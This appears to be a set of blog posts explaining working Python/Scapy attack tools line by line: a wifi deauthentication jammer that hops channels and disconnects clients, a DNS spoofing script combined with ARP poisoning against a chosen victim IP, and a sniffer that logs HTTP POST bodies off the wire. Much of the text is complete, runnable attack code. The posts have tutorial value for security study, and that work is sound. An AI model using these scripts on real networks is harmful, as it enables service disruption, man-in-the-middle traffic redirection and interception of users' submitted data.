    print '['+G+'*'+W+'] Monitor mode: '+G+mon_iface+W+' - '+O+mac+W
    return mac
########################################
# End of interface info and manipulation
########################################

This code is directly copied from the stackoverflow link. I tried originally parsing the output of ifconfig but found that ifconfig’s output is not universally formatted. Some distros and versions output the information with different line spacing and organization. Per GitHub user mncoppola:

“In C land, an ioctl call would be: ioctl(fd, command, argument), where fd is the file descriptor
of the driver/file/socket/pipe/etc. you’re querying, command is a constant defining which command
you’re calling, and argument is an arbitrary value (but is usually a pointer to a struct with
user input).

This calling convention is similar in Python land, with fd being provided by: s.fileno(), command
hardcoded to 0x8927, and argument being a string of the interface name.

If we grep the Linux kernel source, we find that 0x8927 corresponds to this command

$ grep 0x8927 -r include/
include/linux/sockios.h:#define SIOCGIFHWADDR 0x8927 /* Get hardware address */

man netdevice(7) explains use of the SIOCGIFHWADDR command, and how it returns the interface’s
hardware (MAC) address.

The ”.join() line is simply formatting the returned data into a human-readable MAC address.”

def channel_hop(mon_iface, args):
    '''
    First time it runs through the channels it stays on each channel for 1 second
    in order to populate the deauth list nicely. After that it goes as fast as it can
    '''
    global monchannel, first_pass
    channelNum = 0
    while 1:
        if args.channel:
            with lock:
                monchannel = args.channel
        else:
            channelNum +=1
            if channelNum > 11:
                channelNum = 1
                with lock:
                    first_pass = 0
            with lock:
                monchannel = str(channelNum)
        proc = Popen(['iw', 'dev', mon_iface, 'set', 'channel', monchannel], stdout=DN, stderr=PIPE)
        err = None
        for line in proc.communicate()[1].split('\n'):
            if len(line) > 2: # iw dev shouldnt display output unless there's an error
                err = '['+R+'-'+W+'] Channel hopping failed: '+R+line+W

This is the channel hopping function and the function where a lot of the meat of the script is located. It sequentially increases the global monchannel variable starting with a seed of 0 and restarting once it hits 12. You’ll notice when certain global variables are modified “with lock:” precedes it. These are mutex locks to prevent the two threads that are running (channel hopping and packet sniffing) from modifying shared variables at the same time. I should replace these mutex locks with Queue objects to cut down on the amount of code that locks are required for.

Just because Python has a Global Interpreter Lock does not mean that you don’t have to worry about thread-safe modification of shared variables. Any time you’re modifying a shared variable you have to find a way to manually lock it. I particularly enjoyed this presentation on threaded programming with Python. The GIL is a fine grain mutex lock that only exists to protect python internals and interpreter from being in inconsistent states but doesn’t protect the coarser blocks of code from creating stale values in shared variables. Further reading about it.

        output(err, monchannel)
        deauth(monchannel)
        if first_pass == 1:
            time.sleep(1)
        else:
            #time.sleep(1)
            pass

This is still part of the channel_hop() function. Output() is for formatting and printing the AP and client+AP lists that are used as the targets of the deauth packets. After it’s printed that to the screen it launches the deauth() function to actually send the relevant deauth packets. If the script is still on the first pass through of channels then it waits a second before moving on to give the network card a chance to pick up APs and clients on that channel. After that it hops channels as fast as output() and deauth() finish their jobs.

def deauth(monchannel):
    '''
    addr1=destination, addr2=source, addr3=bssid, addr4=bssid of gateway if there are
    multi-APs to one gateway. Constantly scans the clients_APs list and
    starts a thread to deauth each instance
    '''
    global first_pass
    if first_pass == 1:
        return
    pkts = []
    if len(clients_APs) > 0:
        with lock:
            for x in clients_APs:
                client = x[0]
                ap = x[1]
                ch = x[2]
                # Cannot add a RadioTap() layer as the first layer or it's a malformed
                # Association request packet?
                # Append the packets to a new list so we don't have to hog the lock
                # type=0, subtype=12?
                if ch == monchannel:
                    deauth_pkt1 = Dot11(addr1=client, addr2=ap, addr3=ap)/Dot11Deauth()
                    deauth_pkt2 = Dot11(addr1=ap, addr2=client, addr3=client)/Dot11Deauth()
                    pkts.append(deauth_pkt1)
                    pkts.append(deauth_pkt2)

Deauth() function takes the monitor mode’s channel as an argument so that we’re not sending unnecessary packets. If your monitor mode interface is not set to the channel of the targets then the deauth won’t reach them. That would waste cycles and time so the script is set up to only send deauth packets to clients and APs that are on the same channel as the monitor mode interface.

There’s a few complications in this part. One is outlined in the comments. If you create the packet with a RadioTap() layer prior to the Dot11 layer like pkt = RadioTap()/Dot11(addr1=client, addr2=ap, addr3=ap)/Dot11Deauth() then you won’t actually send deauth packets, you’ll send malformed association request packets if you analyze them on the wire. This is confusing to me as to why that happens but I was able to at least figure out that removing RadioTap() would fix it. It’s probably an issue with the default values that Scapy assigns to the RadioTap() layer but I haven’t looked into it thoroughly.

The second complication is in regards to the various addresses that 802.11 packets have. There is the potential for 4 MAC addresses to be attached to each packet. pkt[Dot11].addr1 is the destination MAC, pkt[Dot11].addr2 is the source MAC address, pkt[Dot11].addr3 is usually the MAC of the access point, and pkt[Dot11].addr4 only exists if there’s multiple access points to a single gateway. See the following diagram from Cisco:

80211mactable

DS stands for Distributed System. It’s either 1 or 0 in order to indicate whether the packet is to or from the DS. If both the To DS and From DS fields are 0, then it’s a client to client connection. If they’re both 1 then it’s a multiple AP to single gateway setup. The middle two rows can cause confusion as to which address is actually going to be the access point. Further confusion can be found when trying to determine which of the three main addresses you should be pulling. Obviously the destination is straight forward and will always be addr1 but addr2 and addr3 can be either the source, the destination, or the BSSID.

I needed to know whether I should just be pulling addr2 or addr3 for sending deauth packets to so I studied some packet captures on various networks trying to identify a pattern between addr2 and addr3. Ultimately I found at least 1 scenario where you would definitely not want to pull addr3: on a (all? most?) router that broadcasts on both 2.4GHz and 5GHz, if you were connected to the 2.4GHz channel then addr3 was pulling the 5GHz interface’s MAC address. This combined with some practice runs on the various kinds of network setups lead me to only pull addr1 and addr2 as the important MACs for deauthing.

    if len(APs) > 0:
        if not args.directedonly:
            with lock:
                for a in APs:
                    ap = a[0]
                    ch = a[1]
                    if ch == monchannel:
                        deauth_ap = Dot11(addr1='ff:ff:ff:ff:ff:ff', addr2=ap, addr3=ap)/Dot11Deauth()
                        pkts.append(deauth_ap)
    if len(pkts) > 0:
        # prevent 'no buffer space' scapy error http://goo.gl/6YuJbI
        if not args.timeinterval:
            args.timeinterval = 0
        if not args.packets:
            args.packets = 1
        for p in pkts:
            send(p, inter=float(args.timeinterval), count=int(args.packets))
            #pass

We’re still in the deauth() function here. In the top half of this part we’re going through the APs list and determining which ones are on the same channel as our monitor mode interface so we can send them a deauth packet destined for the broadcast address. That should cause the access point to deauthenticate all its clients but many APs will ignore deauths to broadcast. That is why I included the -d argument in order to skip sending deauths to the APs broadcast addresses. If you have tons of clients within range and you know most of the routers are ignoring the deauths to broadcast addresses then you don’t want to waste time sending deauthentication packets that may never be acknowledged.

In order to limit the amount of time spent with a lock on, if the script determines that there’s a client or access point on the current channel the interface is on then it creates the deauth packet then appends it to a list and releases the lock. After that we just use the send() function on each packet in the list. This prevents the lock from being held during the time it takes to send the packet. We also introduce granularity in the number of deauth packets to send in a burst and the interval between the sending of the packets.

def output(err, monchannel):
    os.system('clear')
    if err:
        print err
    else:
        print '['+G+'+'+W+'] '+mon_iface+' channel: '+G+monchannel+W+'\n'
    if len(clients_APs) > 0:
        print '                  Deauthing                 ch   ESSID'
    # Print the deauth list
    with lock:
        for ca in clients_APs:
            if len(ca) > 3:
                print '['+T+'*'+W+'] '+O+ca[0]+W+' - '+O+ca[1]+W+' - '+ca[2].ljust(2)+' - '+T+ca[3]+W
            else:
                print '['+T+'*'+W+'] '+O+ca[0]+W+' - '+O+ca[1]+W+' - '+ca[2]
    if len(APs) > 0:
        print '\n      Access Points     ch   ESSID'
    with lock:
        for ap in APs:
            print '['+T+'*'+W+'] '+O+ap[0]+W+' - '+ap[1].ljust(2)+' - '+T+ap[2]+W
    print ''

The output() function is pretty straightforward. It’s just formatting the monitor mode channel and all the targets in the APs and clients_APs lists to be pretty when printing them to the terminal. In order to keep the distance between the channel (ca[2] and ap[1]) and the SSID equally spaced we use the .ljust() method on the string. I picked up that bit of knowledge from the script wifite a long time ago.

def cb(pkt):
    '''
    Look for dot11 packets that aren't to or from broadcast address,
    are type 1 or 2 (control, data), and append the addr1 and addr2
    to the list of deauth targets.
    '''
    global clients_APs, APs
    # return these if's keeping clients_APs the same or just reset clients_APs?
    # I like the idea of the tool repopulating the variable more
    if args.maximum:
        if args.noupdate:
            if len(clients_APs) > int(args.maximum):
                return
        else:
            if len(clients_APs) > int(args.maximum):
                with lock:
                    clients_APs = []
                    APs = []

We have two threads, one for channel hopping and one for sniffing. This is the callback function for the sniffing thread. It receives packets from sniff() and then performs an action on them. In the above we’re just checking if a couple arguments were passed along.

    # Broadcast, broadcast, IPv6mcast, spanning tree, spanning tree, multicast, broadcast
    ignore = ['ff:ff:ff:ff:ff:ff', '00:00:00:00:00:00', '33:33:00:', '33:33:ff:', '01:80:c2:00:00:00', '01:00:5e:', mon_MAC]
    if args.skip:
        ignore.append(args.skip)

Continuing the callback function here, we are making sure to eliminate the noise from our list of targets. All the MACs and partial MACs here are reserved for various services like ff:ff:ff:ff:ff:ff and 00:00:00:00:00:00 are reserved for the broadcast address. The broadcast address is the destination address you’d put in pkt[Dot11].addr1 if you wanted the packet to go to all the clients connected to a certain AP. You can learn more about the other types by just copying them into google.

    # We're adding the AP and channel to the deauth list at time of creation rather
    # than updating on the fly in order to avoid costly for loops that require a lock
    if pkt.haslayer(Dot11):
        if pkt.addr1 and pkt.addr2:
            if pkt.haslayer(Dot11Beacon) or pkt.haslayer(Dot11ProbeResp):
                APs_add(clients_APs, APs, pkt)
            for i in ignore:
                if i in pkt.addr1 or i in pkt.addr2:
                    return
            # Management = 1, data = 2
            if pkt.type in [1, 2]:
                clients_APs_add(clients_APs, pkt.addr1, pkt.addr2)

The order above is very important. First we update the list of APs, then we check if the packet has an ignorable addr1 or addr2, then we append new client/AP combos to the clients_APs list. You can’t check for ignorable MACs first because Beacon frames go to broadcast addresses.

def APs_add(clients_APs, APs, pkt):
    ssid       = pkt[Dot11Elt].info
    bssid      = pkt[Dot11].addr3
    try:
        # Thanks to airoscapy for below
        ap_channel = str(ord(pkt[Dot11Elt:3].info))
        # Prevent 5GHz APs from being thrown into the mix
        chans = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11']
        if ap_channel not in chans:
            return
    except Exception as e:
        return
    if len(APs) == 0:
        with lock:
            return APs.append([bssid, ap_channel, ssid])
    else:
        for b in APs:
            if bssid in b[0]:
                return
        with lock:
            return APs.append([bssid, ap_channel, ssid])

When appending to the list of APs in range we pull the SSID out of the Dot11Elt (anyone want to tell me what Elt stands for?) layer and the MAC of the access point using addr3. We’re using addr3 in this case mostly because that’s what airoscapy does and it’s proven reliable. I am curious if using addr2 is more reliable but I have yet to see any Beacon or ProbeResponse packets where addr2 and addr3 haven’t been equal, even in multi-AP to single gateway environments. Until I do I’m going to keep doing the status quo.

The 9th line in this section is the reason the script doesn’t work against 5GHz wifi networks. 5GHz networks will return a channel like 137 if I recall correctly. I would like to eventually add 5Ghz support and the problems I face right now are: what’s the command to set an interface to listen on 5GHz? How universal is 5GHz support? How much code would it take to decipher if an interface driver is 5GHz compatible and if it isn’t is there an easy way to check for this? If anyone wants to spoon feed me those answers I’d be glad to pop it into the script but I’ll need some time to study before I can answer them on my own.

def clients_APs_add(clients_APs, addr1, addr2):
    if len(clients_APs) == 0:
        if len(APs) == 0:
            with lock:
                return clients_APs.append([addr1, addr2, monchannel])
        else:
            AP_check(addr1, addr2)
    # Append new clients/APs if they're not in the list
    else:
        for ca in clients_APs:
            if addr1 in ca and addr2 in ca:
                return
        if len(APs) > 0:
            return AP_check(addr1, addr2)
        else:
            with lock:
                return clients_APs.append([addr1, addr2, monchannel])

Basically the equivalent function of the one above this, APs_add(), just for the clients_APs list rather than just the APs list.

def AP_check(addr1, addr2):
    for ap in APs:
        if ap[0].lower() in addr1.lower() or ap[0].lower() in addr2.lower():
            with lock:
                return clients_APs.append([addr1, addr2, ap[1], ap[2]])

A quick function to check if the AP MAC in a client/AP MAC pair already exists in the APs list. If it does, then we can use the channel and SSID from the matching AP in the APs list when appending that client/AP pair to the clients_APs list. Notice that in this script we always check each packet for inclusion in the APs list first then check and append to the clients_APs list. That is mainly so we can just bolt on the SSID from the APs list onto each matching item in the clients_APs list should the AP MAC in the client/AP combo already be in the list of APs. SSIDs are not included in managment, data, or control type 802.11 packets, only beacon and proberesponse frames.

def stop(signal, frame):
    if monitor_on:
        sys.exit('\n['+R+'!'+W+'] Closing')
    else:
        remove_mon_iface()
        sys.exit('\n['+R+'!'+W+'] Closing')

Check if monitor mode was enabled prior to running the script or not and save the original state. If it was already on prior to the script running then this just prints “Closing” and exits, otherwise it shuts off monitor mode.

if __name__ == "__main__":
    if os.geteuid():
        sys.exit("Please run as root.")
    clients_APs = []
    APs = []
    first_pass = 1
    DN = open(os.devnull, 'w')
    lock = Lock()
    args = parse_args()
    monitor_on = None
    mon_iface = get_mon_iface(args)
    conf.iface = mon_iface
    mon_MAC = mon_mac(mon_iface)
    # Start channel hopping
    hop = Thread(target=channel_hop, args=(mon_iface, args))
    hop.daemon = True
    hop.start()
    signal(SIGINT, stop)

The main thread of execution. First check if the user is running as root, set up a few global variables that will be shared by the threads, and check for a monitor mode interface. Once a monitor mode interface is either found or created, we run `conf.iface = mon_iface` which will set the scapy variable conf.iface so scapy knows which interface to be sending packets out of. After that we get the monitor mode’s MAC address so we can ignore it when searching for targets. Finally we start the channel hopping thread which changes mon_iface’s channel, prints the list of targets, and then sends deauth packets to them.

The signal() function must always be in the main thread to catch Ctrl-C’s and we populate it with the signal we’re trying to catch, SIGINT, and the function to run upon catching SIGINT, stop().

    try:
       sniff(iface=mon_iface, store=0, prn=cb)
    except Exception as msg:
        print '\n['+R+'!'+W+'] Closing:', msg
        sys.exit(0)

And last but not least we have the sniff() loop to sniff all 802.11 packets flying around the air. Store=0 is so it’s not storing the packets it finds in memory, iface=mon_iface is setting the interface that we want to listen on, and prn=cb is setting the callback function on to which sniff() will send the packets it finds.

flattr this!

Posted in Uncategorized

Reliable DNS spoofing with Python: twisting in ARP poisoning, pt. 2

Previous DNS spoofing script

In order to add an ARP spoofing MITM attack we will need to implement another infinite loop to the script above; try_run() and a constant sending loop of ARP spoofed packets. Normally this type of problem can be dealt with using the threading module where we’d start one loop in a thread then make the other the main loop of the script. This is not achievable in this instance, however.

Nfqueue-bindings’ main loop, q.try_run(), is a blocking method. That means that were we to thread those two loops together, the spoofed ARP packets would only be sent when q.try_run() recieves a packet from the iptables’ queue leading to inconsistency.

The answer to this predicament is the asynchronous programming model. To learn the differences between a threaded program, a simple synchronous program, and an asynchronous program check out http://krondo.com/?p=1209.

Python has an excellent asynchronous framework called Twisted. Twisted’s main component we’re interested in is the reactor() which constantly loops around looking for events to happen then performs some action when it receives an event. A simple diagram below of how this will work in our script.

reactor

https://github.com/DanMcInerney/dnsspoof

FULL CODE: http://bpaste.net/show/queRAqlDga2guTrkzG4Z/

Breakdown
—————————————————–

from twisted.internet import reactor
from twisted.internet.interfaces import IReadDescriptor
import os
import nfqueue
from scapy.all import *
import argparse
import threading
import signal

Twisted is a huge module so we just pick off the parts we need. We could do this for the rest of the modules but, eh, laziness and all. The modules that you will probably need to install as they’re not default on most systems (Debian packages here, you’re on Kali, right?):

apt-get install python-scapy
apt-get install python-nfqueue
apt-get install python-twisted
—————————————————–

def arg_parser():
    parser = argparse.ArgumentParser()
    parser.add_argument("-d", "--domain", help="Choose the domain to spoof. Example: -d facebook.com")
    parser.add_argument("-r", "--routerIP", help="Choose the router IP. Example: -r 192.168.0.1")
    parser.add_argument("-v", "--victimIP", help="Choose the victim IP. Example: -v 192.168.0.5")
    parser.add_argument("-t", "--redirectto", help="Optional argument to choose the IP to which the victim will be redirected otherwise defaults to attacker's local IP. Requires either the -d or -a argument. Example: -t 80.87.128.67")
    parser.add_argument("-a", "--spoofall", help="Spoof all DNS requests back to the attacker or use -r to specify an IP to redirect them to", action="store_true")
    return parser.parse_args()

Define the arguments. action=”store_true” is for arguments that don’t require a variable to be defined after using the argument. For example, -a is an action=”store_true” argument since when you run the script you just give it the -a argument and nothing else. -r is one that requires the user to input a variable like -ip 192.168.0.1 and as such does not include action=”store_true” in it.

Once the argument parsing function is created then you can call the user defined value of of an argument by giving the long argument name as the method of the arg_parse function. An example: the -d’s long argument name is –domain so we can access the domain name the user wishes to spoof with arg_parser().domain.
—————————————————–

def originalMAC(ip):
    ans,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=5, retry=3)
    for s,r in ans:
        return r[Ether].src
def poison(routerIP, victimIP, routerMAC, victimMAC):
    send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst=victimMAC))
    send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst=routerMAC))
def restore(routerIP, victimIP, routerMAC, victimMAC):
    send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victimMAC), count=3)
    send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=3)
    sys.exit(0)

See ARP poisoning with Python post.
—————————————————–

def cb(payload):
    data = payload.get_data()
    pkt = IP(data)
    localIP = [x[4] for x in scapy.all.conf.route.routes if x[2] != '0.0.0.0'][0]
    if not pkt.haslayer(DNSQR):
        payload.set_verdict(nfqueue.NF_ACCEPT)

See Reliable DNS spoofing with Python pt 1.
Basically nfqueue will pass all packets it receives to this function to be parsed/modified/dropped. cb stands for callback.

The localIP variable is defined using some code found here. I haven’t explored it that much but it has given me 100% reliable results so far. Granted it’s mostly been tested on machines with just 1 or 2 interfaces.
—————————————————–

else:
    if arg_parser().spoofall:
        if not arg_parser().redirectto:
            spoofed_pkt(payload, pkt, localIP)
        else:
            spoofed_pkt(payload, pkt, arg_parser().redirectto)
    if arg_parser().domain:
        if arg_parser().domain in pkt[DNS].qd.qname:
            if not arg_parser().redirectto:
                spoofed_pkt(payload, pkt, localIP)
            else:
                spoofed_pkt(payload, pkt, arg_parser().redirectto)

Here we check what arguments the user gave to the script so we can create the correct spoofed packet. The packet is actually created in the spoofed_pkt() function while the function above is simply for giving the spoofed_pkt() function accurate arguments to craft the packet.
—————————————————–

def spoofed_pkt(payload, pkt, rIP):
    spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
                    UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
                    DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
                    an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=rIP))
    payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(spoofed_pkt), len(spoofed_pkt))
    print '[+] Sent spoofed packet for %s' % pkt[DNSQR].qname[:-1]

We actually create the spoofed packet here. We are not making a copy of the packet that the victim sent; this actually creates a whole new DNS packet with the default scapy values then cherry picks the variables to change. In this case we’re:
-Swapping the IP address source and destination
-Swapping the UDP port source and destination
-Keeping the pkt[DNS].id value the same (this is how machines know which DNS response is to which query)
-qr is set to 1 to make this a DNS response rather than query
-aa is set to 1 to say the answer is authoritative
-qd stays the same
-an is where the spoofing happens, within it:
–rrname stays the same as it is the domain the victim requested to lookup
–rdata is the IP address of the domain
–rdata will change based on whether the user gave a -r (–redirectto) argument or not

Note we used “payload” as an argument for this function. That is so we can perform the next step; send the newly crafted packet back to the victim instead of passing the victim’s packet on to the router with payload.set_verdict_modified(). If we said payload.set_verdict(NF_ACCEPT) then the original packet the victim sent would move on to its original destination uninterrupted. If we set payload.set_verdict(NF_DROP) then we’d drop the packet and it’d never reach its destination.

I suppose an alternate strategy to spoofing the packet would be to wait for the real response, copy that packet, adjust the values, then pass it along. This is not ideal because for one it’s slower as we have to wait for the response and two, it’s more complicated (and hence less reliable). We would have to block all responses from the router for that domain as often when you request one domain’s IP it requires you to load lots of other elements and the router will send you a bunch of other DNS responses. This is unwanted.
—————————————————–

class Queued(object):
    def __init__(self):
        self.q = nfqueue.queue()
        self.q.set_callback(cb)
        self.q.fast_open(0, socket.AF_INET)
        self.q.set_queue_maxlen(5000)
        reactor.addReader(self)
        self.q.set_mode(nfqueue.NFQNL_COPY_PACKET)
        print '[*] Waiting for data'
    def fileno(self):
        return self.q.get_fd()
    def doRead(self):
        self.q.process_pending(100)
    def connectionLost(self, reason):
        reactor.removeReader(self)
    def logPrefix(self):
        return 'queue'

In order to add events for the reactor to watch out for we use reactor.addReader(reader_event). Once the reactor receives an event from the reader_event object, it passes data from that event into a callback function called doRead(). The reader_event in our case will be a Twisted interface called the IReadDescriptor. Ultimately this just means it’s a class object with some specific method calls like reader_event.doRead(), and reader_event.connectionLost().

For this script the reader_event will be the iptables’ queue object wrapped in an IReadDescriptor class with the reader_event.doRead() method calling nfqueue’s process_pending(integer) function. We will specify the real callback function within the queue object itself. queueObject.process_pending(integer) is what it sounds like; the queueObject will add the queued packet to a list of packets on which the callback function will perform some action.

I found that if you’re performing actions on the packet that might take longer than just swapping a few characters around you will sometimes skip a packet if process_pending is given a low number. This meant that there was considerably less reliability in code injection when I messed around with adjusting it to single digit values in LANs.py.

Description of process_pending() from the nfqueue docs:
“This will process up to max_count pending packets, but return as soon as there are none pending. This makes it possible to use the bindings in conjunction with an external select method.”

In the __init__(self) method we’re performing the following line by line:
-create the nfqueue object
-set the callback to the callback() function
-open the socket the queue object listens on
-set the maximum number of queued packets
-add the iptables queue object to the reactor’s reader so the reactor will read events from the queue object
-finally, set the queue object’s mode to copy

You can choose amongst 3 modes for the queue: NFQL_COPY_PACKET which copies the entire packet into the queue object, NFQL_COPY_META which only copies the packet meta data, and NFQL_COPY_NONE which, surprisingly, will copy nothing into the queue object.

After that we have the fileno(self) which is where the reactor grabs the file descriptor of object. Thankfully nfqueue-bindings has a built in get_fd() method for this.

doRead() is the function that tells the reactor what function to call upon receiving an event. We will choose to add the packet to the process_pending function which exists in nfqueue to get the ball rolling on parsing/modifying packets that the queue object picks up.

Twisted’s reactor has it’s own signal handling for catching Ctrl-C’s. In this case when an interrupt signal is caught connectionLost() should be called. However, this script actually doesn’t use this function because we are not using twisted’s reactor to handle interrupt signals. Instead, we are using signal_handler() in the main loop. Technically, we don’t need anything but a pass statement within connectionLost() the way we set the script up but it’s helpful to see what should be there if we were actually using it.
—————————————————–

def main(args):
    global victimMAC, routerMAC
    if os.geteuid() != 0:
        sys.exit("[!] Please run as root")
    os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE')
    ipf = open('/proc/sys/net/ipv4/ip_forward', 'r+')
    ipf_read = ipf.read()
    if ipf_read != '1\n':
        ipf.write('1\n')
    ipf.close()

Set victimMAC and routerMAC as global so that the callback function, which can’t take any arguments other than the packet, can still use them. Then we check if you are running it as root, then we set up iptables. Note that in this example we differ from part 1. In part one we used ‘iptables -A OUTPUT’ while here we use ‘iptables -t nat -A PREROUTING’. The output chain recieves all packets that originate from the iptables machines while the PREROUTING chain will catch packets before they’re given any routing rules so it catches packets from victim machines.

After that we open, read, and write the ip forwarding config file. We save what was already in it with ipf_read so that when we hit Ctrl-C later on we can just refill it with its original data, be that enabled or disabled.
—————————————————–

routerMAC = originalMAC(args.routerIP)
victimMAC = originalMAC(args.victimIP)
if routerMAC == None:
    sys.exit("Could not find router MAC address. Closing....")
if victimMAC == None:
    sys.exit("Could not find victim MAC address. Closing....")
print '[*] Router MAC:',routerMAC
print '[*] Victim MAC:',victimMAC
Queued()
rctr = threading.Thread(target=reactor.run, args=(False,))
rctr.daemon = True
rctr.start()

—————————————————–
Acquire the router and victim MAC addresses so we can pop those into the spoofing function. Once we have those values we initiate the nfqueue object to start collecting packets. After that we do something that might look a little strange; we start the reactor in it’s own thread rather than making the reactor the main thread. We do this due to what I believe is a bug in Scapy.

http://bb.secdev.org/scapy/issue/473/scapy-sendrecv-selects-eintr-problem-in

https://github.com/TheTorProject/ooni-probe/issues/214

I haven’t tested the patch out that’s in that first link but the error you see in both those links is the same error you’ll see if you put the ARP poisoning in the thread and reactor.run() as the main loop. Notice also that we give False as an argument to to the reactor. This is so the reactor will not catch interrupt signals which can only be handled in main loops. We also start it as a daemon so it dies if the main thread dies.
—————————————————–

def signal_handler(signal, frame):
        print 'learing iptables, sending healing packets, and turning off IP forwarding...'
        with open('/proc/sys/net/ipv4/ip_forward', 'w') as forward:
            forward.write(ipf_read)
        restore(args.routerIP, args.victimIP, routerMAC, victimMAC)
        restore(args.routerIP, args.victimIP, routerMAC, victimMAC)
        os.system('/sbin/iptables -F')
        os.system('/sbin/iptables -X')
        os.system('/sbin/iptables -t nat -F')
        os.system('/sbin/iptables -t nat -X')
        sys.exit(0)
    signal.signal(signal.SIGINT, signal_handler)

Signal handling function. We first write to the ip forwarding config file to be the value that it was prior to running the script. Then we restore the the ARP tables of the router and victim, followed by clearing the iptables of all rules.
—————————————————–

 while 1:
    poison(args.routerIP, args.victimIP, routerMAC, victimMAC)
    time.sleep(1.5)
main(arg_parser())

Last we run the ARP poisoning loop as the main thread of the script. 1.5 seconds seems to be the sweetspot of never seeing the router/victim’s ARP tables reverting back to accurate values but slow enough to not congest the network.

flattr this!

Posted in Uncategorized

HTTP POST analyzer in Python

I was curious what kind of information my computer was sending to the outside world so I whipped up a simple HTTP POST analyzer/logger. https://github.com/DanMcInerney/postanalyzer

#!/usr/bin/python
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
log = open('postanalyzer.log', 'a')
prev_ack = 0
prev_body = ''
interface = 'wlan0'
def cb(pkt):
    global prev_ack, prev_body
    post_found = 0
    if pkt.haslayer(Raw):
        load = repr(pkt[Raw].load)[1:-1]
        try:
            headers, body = load.split(r"\r\n\r\n", 1)
        except:
            headers = load
            body = ''
        ack = pkt[TCP].ack
        if prev_ack == ack:
            newBody = prev_body+headers
            print 'Fragment found; combined body:\n\n', newBody
            print '-----------------------------------------'
            prev_body = newBody
            log.write('Fragment found; combined body:\n\n'+newBody+'\n-----------------------------------------\n')
            return
        header_lines = headers.split(r"\r\n")
        for h in header_lines:
            if 'post /' in h.lower():
                post_found = h.split(' ')[1]
        if post_found:
            for h in header_lines:
                if 'host: ' in h.lower():
                    host = h.split(' ')[1]
                    print 'URL:',host+post_found
                elif 'referer: ' in h.lower():
                    print h
            prev_body = body
            prev_ack = ack
            if body != '':
                print '\n'+body
                print '-----------------------------------------'
            log.write(pkt.summary()+'\n')
            for h in header_lines:
                log.write(h+"\n")
            if body != '':
                log.write(body)
            log.write('\n-----------------------------------------\n')
sniff(iface=interface, filter='tcp port 80', prn=cb, store=0)

Breakdown

import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
log = open('postanalyzer.log', 'a')
prev_ack = 0
prev_body = ''
interface = 'wlan0'

Import logging before scapy so that it can actually prevent scapy from the annoying warnings it outputs every time it runs. Open the log file next, then set up a few global variables. We set log up with the (‘a’) arguement so that we’re appending to the file rather than overwriting it each time.
—————————————————–

def cb(pkt):
    global prev_ack, prev_body
    post_found = 0
    if pkt.haslayer(Raw):
        load = pkt[Raw].load

Define the callback function then set a condition for the packet. We will only continue processing the packet if it has a raw layer. If we didn’t specify “filter=’tcp and port 80′” in sniff(), this conditional would not be enough due to the fact that Ethernet also has a raw layer. TCP raw layer is almost always the HTTP data and since we are already only catching packets with a TCP layer we can safely ask if the packet has a raw layer and not get a bunch of nonTCP Ethernet packets. Last we set the load variable up. pkt[Raw].load is just the HTTP data.

So far I cannot tell the difference between pkt[Raw] and pkt[Raw].load. They seem to give me the same output but all other examples I see use pkt[Raw].load so I’m going to continue using that.
—————————————————–

try:
    headers, body = load.split(r"\r\n\r\n", 1)
except:
    headers = load
    body = ''

This separates the HTTP headers and body. Headers are separated by a \r\n while the body is separated by \r\n\r\n
—————————————————–

ack = pkt[TCP].ack
if prev_ack == ack:
    newBody = prev_body+headers
    print 'Fragment found; combined body:\n\n', newBody
    print '-----------------------------------------'
    prev_body = newBody
    log.write('Fragment found; combined body:\n\n'+newBody+'

Here we’re checking to see if the packet is a fragment. This is something I was stuck on for a while when I was writing LANs.py because I didn’t understand how TCP worked fundamentally. If a packet is carrying too much information then it gets split into several fragments. Fragmented packets have no HTTP headers, just data. This means you can’t just parse the HTTP headers or something to figure out if it’s a fragment so you must use the data in the TCP layer alone. TCP allows for consistent and reliable data transfer by ensuring packets are recieved in order and on time. It does this using a sequence and acknowledgement number.

Basically, and without taking a whole post to explain this, when a TCP connection is opened and the server sends you a packet of information that packet has a sequence and acknowledgement number that you can access with scapy via pkt[TCP].seq and pkt[TCP].ack respectively. When your computer receives that packet it sends the server a TCP packet back and adds the length of the data it just received to the server’s sequence number and saves that new number as response packet’s acknowledgement number. The response packet’s sequence number then become the acknowledgement number of the data packet the server sent. Hard to grasp from words so look at this graphic from packetlife.net:
tcp_flow
To sum this up quickly the ack only changes when the client or server recieves data and wishes for the other to know that it received data. In this case, of one machine sending another a bunch of packet fragments, the ack won’t change at all between those fragments. It will only change after the fragments are all sent and the receiver sends a packet back telling the sender it recieved it all and from there on the ack will never repeat itself. This means the only thing we need to tell if a packet is a fragment is the ack. If the ack is the same as the previous packet recieved or sent then the packet is a fragment of the first packet with that ack.

Once we determine it’s a fragment we add the body of the fragment to the previous packet’s body then change the stored value as the combination of the previous body + the new body. Eventually we will have a variable that contains all the fragmented raw loads in one pretty string.
—————————————————–

header_lines = headers.split(r"\r\n")
    for h in header_lines:
        if 'post /' in h.lower():
            post_found = h.split(' ')[1]

We already split the HTTP data into headers and body so now lets split the headers amongst themselves and after that check if any of them contain ‘post /’ which indicates it’s an HTTP POST packet. Once we’ve determined it’s a POST packet we copy the location that it’s POSTing to via the last line here. The entire header will look like this.

POST /wp-admin/post.php HTTP/1.1\r\n

So we split it into pieces with the delimiter of a space which gives us a list of 3 items: POST, the location, and the HTTP version. Take the second item with list[1]. This also populates the post_found variable from being 0 to being something which we can use as a test to see if the packet is a POST packet or not.
—————————————————–

if post_found:
    for h in header_lines:
        if 'host: ' in h.lower():
            host = h.split(' ')[1]
            print 'URL:',host+post_found
        elif 'referer: ' in h.lower():
            print h
